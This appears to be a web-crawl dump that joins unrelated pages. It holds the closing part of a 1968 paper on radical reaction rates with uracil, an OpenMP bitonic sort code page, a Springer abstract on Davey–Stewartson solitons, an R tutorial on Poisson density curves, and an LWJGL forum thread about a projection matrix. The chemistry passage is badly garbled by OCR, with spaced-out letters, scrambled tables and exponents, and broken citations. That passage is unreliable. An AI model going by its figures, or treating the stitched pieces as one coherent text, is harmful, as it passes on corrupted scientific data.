with U r a c i l\n\npH\n\n10\" 10~ 10\" 10\"\n\nAcid\n\n10 10 10 10 10\n\nThis This This This\n\n9 9 9 9\n\nwork work work work\n\n9\n\n3\n\n6.5\n\n6.4 ± 0.8 X 1 0\n\n9\n\nThis work\n\n^ 4 X 10-s\n\n6.5\n\n5.0 ± 0.6 X 1 0\n\n9\n\nThis work\n\n< 4 X lO-a\n\n6.5\n\n^ 3 X 10\"\n\n5-7\n\n4\n\n9\n\n1\n\n9 and this work\n\n3.1 ± 0.4 X 1 0\n\n9\n\n23\n\n5.4 X 1 0\n\n9\n\n20\n\n(1.3 ± 0.2 X 1 0 )\n\n9 10 M\n\n10\n\nsec.\" . T h i s w o u l d b e i n agreement w i t h t h e l o w e r G - v a l u e f o r 1\n\nloss of t h e a d e n i n e base i n i r r a d i a t e d D N A solutions\n\n(24).\n\nConclusion, Summary and Discussion T h e r e a c t i o n rates of u r a c i l a n d its d e r i v a t i v e s w i t h solvated electrons h a v e b e e n s t u d i e d i n d e t a i l . O n t h e basis of v a r i a t i o n s of t h e e~\n\nm\n\nreaction\n\nrate as a f u n c t i o n of p H , a n d also w i t h the t a u t o m e r i c f o r m of t h e m o l e ­ c u l e , i t is c o n c l u d e d that t h e changes i n r e a c t i v i t y are too great to b e a c c o u n t e d f o r b y charge alone, a n d that t h e k e t o - e n o l p r o t o t r o p h y w h i c h occurs d u r i n g i o n i z a t i o n is r e s p o n s i b l e f o r t h e large f r a c t i o n of t h e c h a n g e i n t h e r e a c t i o n rate. T h e s e results also s h o w that t h e c a r b o n y l groups of u r a c i l are r e s p o n s i b l e f o r t h e h i g h r e a c t i v i t y of these m o l e c u l e s . Table V I .\n\nO H Reaction Rates with Other Nucleic A c i d Derivatives Molecule\n\nk. (corrected)\n\nUracil Uridine 3 ' , 5 ' - U M P (mixed) Adenine\n\n5.0 2.9 3.5 1.9\n\nStudies of the e~\n\n0H\n\nm\n\n± ± ± ±\n\n0.6 0.4 0.5 0.3\n\n(M~* sec.' ) 1\n\nX X X X\n\n10 10 10 10\n\n9 9 9 9\n\nr e a c t i o n rates w i t h u r i d i n e , U M P , a n d o l i g o - U\n\ns h o w that t h e sugar a n d p h o s p h a t e groups are u n r e a c t i v e , a n d as o n e w o u l d p r e d i c t , s l i g h t l y r e d u c e d changes o c c u r i n t h e r e a c t i o n rates at t h e p H values w h e r e i o n i z a t i o n takes p l a c e i n the p h o s p h a t e a n d sugar g r o u p s . I n t h e larger c h a i n o l i g o U m o l e c u l e s s t u d i e d ( a b o u t 20 b a s e s ) , t h e r e a c t i v i t y p e r n u c l e o t i d e is c o n s i d e r a b l y r e d u c e d , suggesting that steric effects are i m p o r t a n t .\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n416\n\n1\n\nT h e values here f o r - O H r a d i c a l r e a c t i o n rates w i t h u r a c i l m e a s u r e d u s i n g t h e C N S \" c o m p e t i t i o n m e t h o d , w h e t h e r c o r r e c t e d or not, are a p p r e ­ c i a b l y h i g h e r t h a n those o b t a i n e d b y Scholes et al. (23) m e t h o d (6.4 or 5.0 X 1 0 M 9\n\n5-7).\n\n- 1\n\nusing a similar\n\nsec.\" , as against 3.1 X 1 0 M 1\n\n9\n\n1\n\nsec.\" at p H 1\n\nT h i s c a n o n l y p a r t i a l l y b e e x p l a i n e d b y the s l i g h t l y h i g h e r v a l u e f o r\n\nk . o H + cNs- o b t a i n e d i n o u r measurements.\n\nH o w e v e r , t h e values o b t a i n e d\n\nb y Scholes w e r e m a d e u s i n g s u c h a l o w c o n c e n t r a t i o n of C N S \" that these ions w o u l d have b e e n u n a b l e c o m p l e t e l y to scavenge the - O H r a d i c a l s\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n(1,2)\n\na n d m i g h t l e a d to this d i s c r e p a n c y . T h e - O H r e a c t i v i t y w i t h u r a c i l\n\nm e a s u r e d d i r e c t l y b y the d i s a p p e a r a n c e of the u r a c i l 5,6 d o u b l e b o n d is s l i g h t l y h i g h e r t h a n that o b t a i n e d b y C N S \" c o m p e t i t i o n . T h i s m a y i n d i ­ cate that the v a l u e of k\n\n2\n\nof 7.5 X l O - W \"\n\nm a x i m u m of about 5 0 % . A t present, h i g h e r values of k\n\n2\n\n(9)\n\n1\n\nsec.\" s h o u l d b e i n c r e a s e d a 1\n\nthere is n o evidence that\n\nw o u l d b e c o m p a t i b l e w i t h the m o r e\n\neven direct\n\nobservations. T h e l o w e r r e a c t i v i t y of t h e h y d r o x y l r a d i c a l w i t h t h e p a r t i a l l y satu­ r a t e d u r a c i l d e r i v a t i v e , d i h y d r o u r a c i l , is i n agreement w i t h t h e r e a c t i o n schemes p r o p o s e d o n the basis of r a d i o l y s i s measurements w h i c h i n d i c a t e that d a m a g e to u r a c i l is a l w a y s a c c o m p a n i e d b y saturation of t h e 5,6 d o u b l e b o n d . H o w e v e r , w h e n one compares the r a d i o l y s i s y i e l d s i n t h e absence of t h e electron scavenger\n\no x y g e n , m a n y pieces\n\na p p e a r to b e\n\nm i s s i n g i n t h e p u z z l e . A l t h o u g h s o l v a t e d electrons react m o r e r a p i d l y w i t h u r a c i l t h a n d o - O H r a d i c a l s , the p r o d u c t y i e l d u n d e r c o n d i t i o n s w h e r e b o t h species react is greatly r e d u c e d — i . e . , the y i e l d f o r loss of u r a c i l i n o x y g e n is 2.1 as against 0.4 i n a d e o x y g e n a t e d s o l u t i o n i n s t e a d of b e i n g d o u b l e d b y the attack of b o t h • O H a n d e~ .\n\n(29)\n\nT h i s sug­\n\naq\n\ngests some t y p e of a b a c k reaction, a n d experiments are b e i n g c a r r i e d out at present i n a n attempt to s t u d y this.\n\nAcknowledgments W e are p l e a s e d to a c k n o w l e d g e t h e use of the l i n e a r\n\naccelerator\n\nfacilities i n t h e P h y s i c s D e p a r t m e n t of the U n i v e r s i t y of T o r o n t o .\n\nIn\n\np a r t i c u l a r w e w i s h to t h a n k K . G . M c N e i l , E . H o r r i g a n , T . E l d e r , a n d t h e l i n a c operators\n\nf o r their assistance i n g e t t i n g the l i n a c o p e r a t i n g f o r\n\np u l s e r a d i o l y s i s w o r k . T h e experiments w e r e c a r r i e d o u t w i t h\n\nfinancial\n\nassistance f r o m t h e M e d i c a l R e s e a r c h C o u n c i l of C a n a d a , the N a t i o n a l C a n c e r Institute, a n d the O n t a r i o C a n c e r Institute.\n\nT w o of us ( C . L . C ,\n\na n d M . N . ) w i s h to a c k n o w l e d g e t h e financial s u p p o r t of t h e N a t i o n a l C a n c e r Institute.\n\nT h e authors w i s h to t h a n k their f e l l o w colleagues K i m\n\nU m e m o t o , M . J . B r o n s k i l l , a n d M . D u k e f o r their assistance i n this w o r k a n d to H . E . Johns f o r h i s k e e n interest i n r e a d i n g t h e m a n u s c r i p t a n d o f f e r i n g v a l u a b l e suggestions.\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid Derivatives\n\n417\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nLiterature Cited (1) Adams, G. E., Boag, J. W., Currant, J., Michael, B. D., \"Pulse Radiolysis,\" p. 117, Academic Press, New York, N. Y., 1965. (2) Ibid., p. 131. (3) Adams, G. E., Boag, J. W., Michael, B. D., Proc. Chem. Soc. 1964, 411. (4) Adams, G. E., Boag, J. W., Michael, B. D., Trans. Faraday Soc. 61, 1417 (1965). (5) Ibid., 61, 1674 (1965). (6) Anbar, M., Hart, E. J., J. Am. Chem. Soc. 86, 5633 (1964). (7) Anbar, M., Meyerstein, D., Neta, P.,J.Phys. Chem. 70, 2660 (1966). (8) Anbar, M., Alfassi, Ζ. B., Reissler, H. (unpublished results). (9) Baxendale, T. H., Stott, D. Α., Chem. Comm. 1967, 699. (10) Braams, R., Rad. Res. 27, 319 (1966). (11) Ibid., 31, 8 (1967). (12) Dainton, F. S., Watt, W. S, Proc. Roy. Soc. 275A, 447 (1963). (13) Debye, P., Trans. Electrochem. Soc. 82, 265 (1942). (14) Gordon, S., Hart, E. J., Matheson,M.S.,Rabani, J., Thomas, J. K.,J.Am. Chem. Soc. 85, 1375 (1963). (15) Greenstock, C. L., Bronskill, M. J., Hunt, J. W. (in preparation). (16)\n\nHart, E. J., Fielden, E. M., ADVAN. C H E M . SER. 50, 253 (1965).\n\n(17) (18) (19) (20) (21) (22) (23)\n\nHart, E. J., Gordon,S.,Thomas, J. K., J. Phys. Chem. 68, 127 (1964) Hart, E. J., Thomas, J. K., Gordon, S., Radiation Res. Suppl. 4, 74 (1964). Karzmarck, J., Rev. Sci. Inst. 35, 1646 (1964). Kraljic,I.,Trumbore, C. N.,J.Am. Chem. Soc. 87, 2547 (1965). Rabani, J. Matheson, M. S.,J.Am. Chem. Soc. 86, 3175 (964) Schmidt, K., personal communication (1966). Scholes,G.,Shaw, P., Willson, R. L., Ebert, M., \"Puise Radiolysis,\" p. 151, Academic Press, New York, N. Y., 1965. Scholes, G., Ward, J. F., Weiss, J.,J.Mol.Biol.2, 379 (1960). Szutka, Α., Thomas, J. K., Gordon, S., Hart, E. J.,J.Phys. Chem. 69, 289 (1965). Taimuty, S.I.,Deaver, B. S., Jr., Rev. Sci. Inst. 32, 1098 (1961). Thomas, J. K., Trans. Faraday Soc. 61, 702 (1965). Thomas, J. K., Rabani, J., Matheson, M. S., Hart, E. J., Gordon, S., J. Phys. Chem. 70, 2409 (1966). Umemoto, K.(unpublishedresults).\n\n(24) (25) (26) (27) (28) (29)" ]
[ null ]
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https://www.cs.rutgers.edu/~venugopa/parallel_summer2012/bitonic_openmp.html
[ "# OpenMP Bitonic Sort Code\n\n### main.c\n\n#include<stdio.h> #include<stdlib.h> #define MAX(A, B) (((A) > (B)) ? (A) : (B)) #define MIN(A, B) (((A) > (B)) ? (B) : (A)) #define UP 0 #define DOWN 1 double walltime(double*); /* the clock on the wall */ void bitonic_sort_seq(int start, int length, int *seq, int flag); void bitonic_sort_par(int start, int length, int *seq, int flag); void swap(int *a, int *b); int m; main() { int i, j; int n; int flag; int *seq; double startTime, elapsedTime; /* for checking/testing timing */ double clockZero = 0.0; int numThreads,id; printf(\"Input the length of a sequence(a power of 2): \"); scanf(\"%d\", &n); seq = (int *) malloc (n * sizeof(int)); printf(\"Input the sequence: \"); for (i = 0; i < n; i++) { scanf(\"%d\", &seq[i]); } // start startTime = walltime( &clockZero ); numThreads = omp_get_max_threads(); // making sure input is okay if ( n < numThreads * 2 ) { printf(\"The size of the sequence is less than 2 * the number of processes.\\n\"); exit(0); } // the size of sub part m = n / numThreads; // make the sequence bitonic - part 1 for (i = 2; i <= m; i = 2 * i) { #pragma omp parallel for shared(i, seq) private(j, flag) for (j = 0; j < n; j += i) { if ((j / i) % 2 == 0) flag = UP; else flag = DOWN; bitonic_sort_seq(j, i, seq, flag); } } // make the sequence bitonic - part 2 for (i = 2; i <= numThreads; i = 2 * i) { for (j = 0; j < numThreads; j += i) { if ((j / i) % 2 == 0) flag = UP; else flag = DOWN; bitonic_sort_par(j*m, i*m, seq, flag); } #pragma omp parallel for shared(j) for (j = 0; j < numThreads; j++) { if (j < i) flag = UP; else flag = DOWN; bitonic_sort_seq(j*m, m, seq, flag); } } // bitonic sort //bitonic_sort_par(0, n, seq, UP); //bitonic_sort_seq(0, n, seq, UP); //end elapsedTime = walltime( &startTime ); /* // print a sequence for (i = 0; i < n; i++){ printf(\"%d \", seq[i]); } printf(\"\\n\"); */ printf(\"Elapsed time = %.2f sec.\\n\", elapsedTime); free(seq); }\n\n### bitonic_sort_seq.c\n\nvoid bitonic_sort_seq(int start, int length, int *seq, int flag) { int i; int split_length; if (length == 1) return; if (length % 2 !=0 ) { printf(\"error\\n\"); exit(0); } split_length = length / 2; // bitonic split for (i = start; i < start + split_length; i++) { if (flag == UP) { if (seq[i] > seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } else { if (seq[i] < seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } } bitonic_sort_seq(start, split_length, seq, flag); bitonic_sort_seq(start + split_length, split_length, seq, flag); }\n\n### bitonic_sort_par.c\n\nvoid bitonic_sort_par(int start, int length, int *seq, int flag) { int i; int split_length; if (length == 1) return; if (length % 2 !=0 ) { printf(\"The length of a (sub)sequence is not divided by 2.\\n\"); exit(0); } split_length = length / 2; // bitonic split #pragma omp parallel for shared(seq, flag, start, split_length) private(i) for (i = start; i < start + split_length; i++) { if (flag == UP) { if (seq[i] > seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } else { if (seq[i] < seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } } if (split_length > m) { // m is the size of sub part-> n/numThreads bitonic_sort_par(start, split_length, seq, flag); bitonic_sort_par(start + split_length, split_length, seq, flag); } return; }\n\n### bitonic_swap.c\n\nvoid swap(int *a, int *b) { int t; t = *a; *a = *b; *b = t; }\n\n# OpenMP Bitonic Sort Graphic\n\nSimple example: A series of 8 numbers on a machine with 4 processors:\nClick to view full size image.", null, "# Time Analysis/Speedups\n\nI have tested the speedup achieved when using 2 and 4 cores, and for input sizes that range from 100 to 5000 integer elements.\nThe speedup is not exactly double when the cores are 2 owing to the fact that with increase in number of cores we have additional overheads of data transfers and barrier.\nThe task spawning overhead is dominant at the lower array sizes, but it factors out with increasing array size and drops below 1% of total execution time! With total cores increased to 4, and 5000 integer elements, the theoretical upper bound for speedup is about 3.6 (with increasing array size, the processor has more computational time and the overheads factor out).\n\n# OpenMP Bitonic Sort Code Overview\n\nBitonic sort is one of the fastest sorting networks. A sorting network is a special kind of sorting algorithm, where the sequence of comparisons is not data-dependent. The openMP implementation consists of 2 main operations for the algorithm: one is called a bitonic split and other being bitonic merge.\n*In the bitonic split operation we will keep splitting the input data array into two bitonic sequences until a sequence with only one element is obtained.\n*In the bitonic merge operation we will merge and again sort the different parts of the input array in a bitonic fashion.\nThe whole arrangement of splitting the input data into halves and the butterfly pattern provides a good combination of computation and communication between the threads which are responsible for sorting the input data. In order to parallelize bitonic sort using OpenMP we must ask ourselves: Will all processes participate in sorting? How can we perform bitonic split between processes? Should a sequential sort be used for a certain input number? etc...\nAn OpenMP algorithm is mostly constructed of fork and joins, and in order to be as efficient as possible it is important to know when it is and isn’t relevant to make those forks and joins (what parts we should or shouldn’t parallelize). For the code presented above we are dividing the series into sub parts (based on the number of threads available). The number of items in each subpart is determined by the number of items in the sequence divided by max number of threads. We also have two methods: “bitonic_sort_seq” which sorts its input sequentially, and “bitonic_sort_par” which sorts its input in parallel." ]
[ null, "https://www.cs.rutgers.edu/~venugopa/parallel_summer2012/Resources/BitonicSort.jpeg", null ]
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https://link.springer.com/article/10.1007/s11082-017-0950-6?error=cookies_not_supported&code=a94bff88-37f7-4ba1-ac90-aa4238d32e3f
[ "# New soliton solutions of Davey–Stewartson equation with power-law nonlinearity\n\n## Abstract\n\nThis study is related to new soliton solutions of Davey–Stewartson equation (DSE) with power-law nonlinearity. The generalized Kudryashov method which is one of the analytical methods has been used for finding exact solutions of this equation. By using this method, dark soliton solutions of DSE have been found. Also, by using Mathematica Release 9, some graphical representations have been done to analyze the motion of these solutions.\n\nThis is a preview of subscription content, access via your institution.\n\n## References\n\n• Ablowitz, M.J., Biondini, G., Blair, S.: Nonlinear Schrödinger equations with mean terms in nonresonant multidimensional quadratic materials. Phys. Rev. E 63(4), 466051–4660515 (2001)\n\n• Babaoglu, C.: Long-wave short-wave resonance case for a generalized Davey–Stewartson system. Chaos Solitons Fractals 38, 48–54 (2008)\n\n• Bashir, M.A., Moussa, A.A.: The cotha(ξ) expansion method and its application to the Davey–Stewartson equation. Appl. Math. Sci. 8(78), 3851–3868 (2014)\n\n• Baskonus, H.M., Bulut, H.: On some new analytical solutions for the (2 + 1)-dimensional Burgers equation and the special type of Dodd–Bullough–Mikhailov equation. J. Appl. Anal. Comput. 5(4), 613–625 (2015)\n\n• Chang, L., Pan, Y., Ma, X.: New exact travelling wave solutions of Davey–Stewartson equation. J. Comput. Inf. Syst. 9(4), 1687–1693 (2013)\n\n• Davey, A., Stewartson, K.: On three-dimensional packets of surface waves. Proc. R. Soc. Lond. Ser. A Math. Phys. Sci. 338(1613), 101–110 (1974)\n\n• Ebadi, G., Biswas, A.: The G′/G method and 1-soliton solution of the Davey–Stewartson equation. Math. Comput. Model. 53, 694–698 (2011)\n\n• Ebadi, G., Krishnan, E.V., Labidi, M., Zerrad, E., Biswas, A.: Analytical and numerical solutions to the Davey–Stewartson equation with power-law nonlinearity. Waves Random Complex Media 21(4), 559–590 (2011)\n\n• El-Ganaini, S.I.A.: New exact solutions of some nonlinear systems of partial differential equations using the first integral method. Abstr. Appl. Anal. 2013, 1–13 (2013)\n\n• El-Kalaawy, O.H., Ibrahim, R.S.: Solitary wave solution of the two-dimensional regularized long-wave and Davey–Stewartson equations in fluids and plasmas. Appl. Math. 3, 833–843 (2012)\n\n• Eslami, M., Mirzazadeh, M.: Functional variable method to study nonlinear evolution equations. Cent. Eur. J. Eng. 3(3), 451–458 (2013)\n\n• Gurefe, Y., Misirli, E., Pandir, Y., Sonmezoglu, A., Ekici, M.: New exact solutions of the Davey–Stewartson equation with power-law nonlinearity. Bull. Malays. Math. Sci. Soc. 38, 1223–1234 (2015)\n\n• Jafari, H., Sooraki, A., Talebi, Y., Biswas, A.: The first integral method and traveling wave solutions to Davey–Stewartson equation. Nonlinear Anal. Model. Control 17(2), 182–193 (2012)\n\n• Leblond, H.: Electromagnetic waves in ferromagnets: a Davey–Stewartson-type model. J. Phys. A Math. Gen. 32, 7907–7932 (1999)\n\n• Song, M., Biswas, A.: Topological defects and bifurcation analysis of the DS equation with power law nonlinearity. Appl. Math. Inf. Sci. 9(4), 1719–1724 (2015)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: New soliton solutions for Sasa–Satsuma equation. Waves Random Complex Media 25(3), 417–428 (2015a)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: New solitary wave solutions of Maccari system. Ocean Eng. 103, 153–159 (2015b)\n\n• Tuluce Demiray, S., Bulut, H.: New exact solutions of the new Hamiltonian amplitude equation and Fokas Lenells equation. Entropy 17, 6025–6043 (2015)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: All exact travelling wave solutions of Hirota equation and Hirota–Maccari system. Optik 127, 1848–1859 (2016)\n\n• Tuluce Demiray, S., Bulut, H.: Generalized Kudryashov method for nonlinear fractional double sinh-Poisson equation. J. Nonlinear Sci. Appl. 9, 1349–1355 (2016)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: The analysis of the exact solutions of the space fractional coupled KD equations. In: AIP Conference Proceedings, vol 1648, pp. 370013-(1–5) (2015)\n\n• Zedan, H.: Applications of the new compound Riccati equations rational expansion method and Fan’s subequation method for the Davey–Stewartson equations. Bound. Value Probl. (2010)\n\n• Zedan, H.A., Monaquel, S.J.: The sine–cosine method for the Davey–Stewartson equations. Appl. Math. E-Notes 10, 103–111 (2010)\n\n## Author information\n\nAuthors\n\n### Corresponding author\n\nCorrespondence to Seyma Tuluce Demiray.\n\n## Rights and permissions\n\nReprints and Permissions" ]
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https://www.geeksforgeeks.org/how-to-draw-poisson-density-curve-in-r/?type=article&id=866238
[ "", null, "GeeksforGeeks App\nOpen App", null, "Browser\nContinue\n\n# How to Draw Poisson Density Curve in R?\n\nIn this article, we are going to learn how to draw the Poisson density curve in the R programming language.\n\nFunction used:\n\ndpois(): The dpois() method is used to accept the vector of quantiles and the vector of means as the input parameters. The dpois() method has the following syntax :\n\nSyntax: dpois (q, m)\n\nArguments :\n\n• q – Vector of quantiles.\n• m – Vector of means.\n\n## Computing Poisson density curve for vectors\n\nTo draw the Poisson density curve for vectors firstly we are declaring data points from 1 to 100 and specify the lambda value as 3 and after that  using the plot() method to plot the Poisson density curve on a graph with dpois() method inside it to accept the vector quantiles.\n\n## R\n\n `# Declaring the data points``# from 1 to 100``data_points <-1:100``print``(data_points)` `# Specifying the lambda value``val <- 3` `# Plotting the data points``plot``(``dpois``(x= data_points,lambda= val),type=``\"b\"``,``     ``xlab = ``\"Idx Value\"``,``     ``ylab = ``\"Poisson Density Function\"``)`\n\nOutput:\n\n> print(data_points)\n\n   1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24\n\n  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48\n\n  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72\n\n  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96\n\n  97  98  99 100", null, "## Computing the Poisson distribution function of the matrix\n\nHere, we are creating the matrix of data points and using them to plot the Poisson density curve as same as above graph.\n\n## R\n\n `# Declaring the data points``data_points <-``matrix``(1:20,ncol=4)``print``(data_points)``# Specifying the lambda value``val<- 3``# Plotting the data points``plot``(``dpois``(x= data_points,lambda= val),type=``\"b\"``,``     ``xlab = ``\"Idx Value\"``,``     ``ylab = ``\"Poisson Density Function\"``)`\n\nOutput:\n\n> print(data_points)\n\n[,1] [,2] [,3] [,4]\n\n[1,]    1    6   11   16\n\n[2,]    2    7   12   17\n\n[3,]    3    8   13   18\n\n[4,]    4    9   14   19\n\n[5,]    5   10   15   20", null, "My Personal Notes arrow_drop_up" ]
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http://forum.lwjgl.org/index.php?topic=7041.0
[ "Hello Guest\n\n# Projection Matrix\n\n• 8 Replies\n• 1090 Views", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Projection Matrix\n« on: May 25, 2020, 01:00:18 »\nHello\n\nI wish to display a rectangle in OpenGL by passing vertex coordinates and the MVP matrix into the vertex shader (then fragment shader).\nMy rectangle vertices are the usual (-0.5, 0.5, 0), (0.5, 0.5, 0), (-0.5, -0.5, 0) and (0.5, -0.5, 0)\nMy model matrix is 4x4 identity.\n\nMy camera sits at (0,0,1) and has the rotation of (0,0,0) (pitch, yaw, roll) so looks towards the negative z-axis.\nHence my view matrix is\n(1, 0, 0, 0,\n0, 1, 0, 0,\n0, 0, 1, -1,\n0, 0, 0, 1)\n\nSetting the MVP matrix to view * model produces a coloured rectangle in correct NDC coordinates.\n\nHowever, when I introduce the projection matrix - generated by .setPerspective(3.14159 / 2, width / height, 0.1, 100) - and set MVP = projection * view * model, the rectangle disappears entirely.\nPassing data is not the issue since if my projection matrix is also an identity, the rectangle reappears.\n\nI have no idea what I am doing wrong. I have tried numerous implementations of the projection matrix which always resulted in producing no graphical output (which raises the suspicion of the fault not lying in the projection matrix...)\n\nCode: [Select]\n`#version 330 corein vec3 in_Position;uniform mat4 u_MVP;out vec3 colour;void main(void){    gl_Position = u_MVP * vec4(in_Position, 1.0);    colour = vec3((in_Position.x+1) / 2, 1, (in_Position.y+1) / 2);}`\nCode: [Select]\n`#version 330 corein vec3 colour;out vec4 out_Colour;void main(void){    out_Colour = vec4(colour, 1.0);}`\nMy render function:\nCode: [Select]\n`                        //enable shaders & bind to rectangle data                        shader.start();                        glBindVertexArray(vaos.get(0));                                                //MVP                        Matrix4f model = shape.getModelTransform(); //assume identity                        Matrix4f view = camera.getViewTransform(); //assume translation -1 in z                        Matrix4f projection = new Matrix4f();                        projection.setPerspective((float) Math.PI / 2, (float) width / (float) height, 0.1f, 100f);                        Matrix4f transform = projection.mul(view.mul(model));                        //pass MVP & render indexed vertices                        glUniformMatrix4fv(u_MVP, false, transform.get(BufferUtils.createFloatBuffer(16)));                        glDrawElements(GL_TRIANGLES, shape.getPoints().length * 3, GL_UNSIGNED_INT, 0);                                                //close renderer                        glBindVertexArray(0);                        shader.stop();`\nIf someone could please clarify how to implement the correct projection matrix or point out other mistakes I have made, I'd be grateful.\n\nP.S.\nWhen P is identity, a camera translation actually results in the rectangle being distorted but I believe that's because there is no correct P matrix to rectify it. Correct me if I'm wrong\n« Last Edit: May 25, 2020, 01:10:41 by chris1 »", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #1 on: May 25, 2020, 09:19:59 »\nA simple MCVE would be nice. The following does work for me:\nCode: [Select]\n`import static org.lwjgl.glfw.GLFW.*;import static org.lwjgl.opengl.GL11.*;import static org.lwjgl.system.MemoryUtil.NULL;import java.nio.FloatBuffer;import org.joml.Matrix4f;import org.lwjgl.BufferUtils;import org.lwjgl.opengl.GL;public class OrthoDemo {    public static void main(String[] args) {        glfwInit();        int width = 1200, height = 600;        long window = glfwCreateWindow(width, height, \"\", NULL, NULL);        glfwWindowHint(GLFW_RESIZABLE, GLFW_FALSE);        glfwMakeContextCurrent(window);        GL.createCapabilities();        FloatBuffer fb = BufferUtils.createFloatBuffer(16);        while (!glfwWindowShouldClose(window)) {            glClear(GL_COLOR_BUFFER_BIT);            Matrix4f model = new Matrix4f();            Matrix4f view = new Matrix4f().translation(0, 0, -1);            Matrix4f projection = new Matrix4f();            projection.setPerspective((float) Math.PI / 2, (float)width/height, 0.1f, 100f);            glLoadMatrixf(projection.mul(view.mul(model)).get(fb));            glBegin(GL_QUADS);            glVertex3f(-.5f, -.5f, 0);            glVertex3f(+.5f, -.5f, 0);            glVertex3f(+.5f, +.5f, 0);            glVertex3f(-.5f, +.5f, 0);            glEnd();            glfwSwapBuffers(window);            glfwPollEvents();        }    }}`Also, remember that JOML objects don't behave like immutable value objects. Every operation will modify `this` or an explicit `dest` argument. So, your:\nCode: [Select]\n`Matrix4f transform = projection.mul(view.mul(model));`will modify `view`, which could be a problem iff `camera.getViewTransform();` always returns the same matrix instance without initializing it every call and `model` is not the identity matrix.\n« Last Edit: May 25, 2020, 09:22:28 by KaiHH »", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #2 on: May 25, 2020, 14:04:24 »\nForgive me if I misunderstand, but:\nIf you notice, my code utilises shaders. I will want to still use shaders.\nYour solution does not load any data explicitly into the GPU, while I need to use the VAOs set up for every object.\nI would also like to use the glDrawElements method since the vertex data is stored in the VAOs that I bind to.\n\n(Sorry for not specifying the VAO in the first question, I didn't think the problem was extended to them.)", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #3 on: May 25, 2020, 14:37:02 »\nNothing of the points you mentioned is relevant to the matrices working or not. I had a look at your shaders and they were fine. So, for simplicity I just used the FFP with glLoadMatrix, which btw. does upload the matrix. Also, whether you use VAOs or not (the default VAO) is irrelevant to your case. It does not matter how you do vertex specification.\n\nIn any way: A simple, complete and reproducible code would be best here to move further.\n« Last Edit: May 25, 2020, 14:40:16 by KaiHH »", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #4 on: May 25, 2020, 19:52:03 »\nForgive my ignorance, I'm just trying to understand.\n\nYour first reply contains instructions on how to construct the projection matrix, I think the thread's question has been answered; perhaps the next question belongs to another board... but:\n\nSince I am storing model data in a VAO, shouldn't my rendering function include the use of that VAO? Same with the shader associated with the object to render? Typically, I think, most render functions follow the structure I have: enable shader, bind VAO, upload uniform data, draw call, unbind VAO, disable shader. These I have seen in code examples and they seem to be able to render objects properly, except mine which is doing something wrong.\nIf I was to use your rendering method, how would I go about specifying which attribute each glVertex call refers to (assuming I would later add more attributes to every model)? The same question for other uniform data. If I was going to call glVertex iteratively, would there even still be a point of loading the model into a VAO?\n\nAdditionally, is there any reason why using glVertex is advantageous to glUniformMatrix & glDrawElements (besides it working of course)?\n\nIn short: I have a system which can contain polygons of any shape, each polygon is assigned a VAO and a shader. In a render call for all shapes in the program, I want each shape to use its own VAO and shader.\nObviously, I'm not expecting an answer containing a thousand lines of code, but the general idea is specified in the render function I gave in the original question.\n\nThanks", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #5 on: May 25, 2020, 20:04:36 »\nWhat I understood from your initial post:\n1. when you render things without a projection matrix, then thinks work\n2. when you introduce a projection matrix (with settings that should work), then things don't work anymore\n\nNow my goal here was to identify what you probably might have done wrong between steps 1 and 2, or, though less likely but still possible: what JOML might have done wrongly which need to be fixed (I am the author of JOML by the way.)\n\nWhen the original problem with the projection matrix has been resolved for you, then I am curious how actually.\n\nAbout whether to use the fixed-function pipeline or VBOs/VAOs: You should _never_ use the fixed-function pipeline like I did.\nThe sole reason I was using that is to make the example code simpler without laying the focus on the vertex specification and shader setup but on the actual matrix building code.\nThere is no advantage to using glVertex and other fixed-function pipeline functions over VAOs and shaders other than simplicity.\n\nThe way you described the basic structure of a render call is about right: bind VAO, bind shader, set shader uniforms, issue draw* call, unbind.", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #6 on: May 25, 2020, 20:18:32 »\nStill, the GUI presents no shape.\nI assumed my projection matrix construction would be clarified in this thread, and it has. Yet the result is still false.\nHow can make your job easier? Which pieces of code should I post if any?\nShould I raise the render issue on a different board?\n« Last Edit: May 25, 2020, 20:25:00 by chris1 »", null, "####", null, "abcdef\n\n•", null, "", null, "", null, "", null, "• 329", null, "##### Re: Projection Matrix\n« Reply #7 on: May 27, 2020, 13:10:50 »\n\nAlso print out your MVP matrix and do the calculation by hand to see what should be happening outside the shader.\n\nI am sure it will be obvious what the error is once you see, just debug with the right tools\n\nMy first guess is your matrix moves the points outside the frustrum. Kai has kindly shown you that it should work with his example, so you have a bug somewhere.", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #8 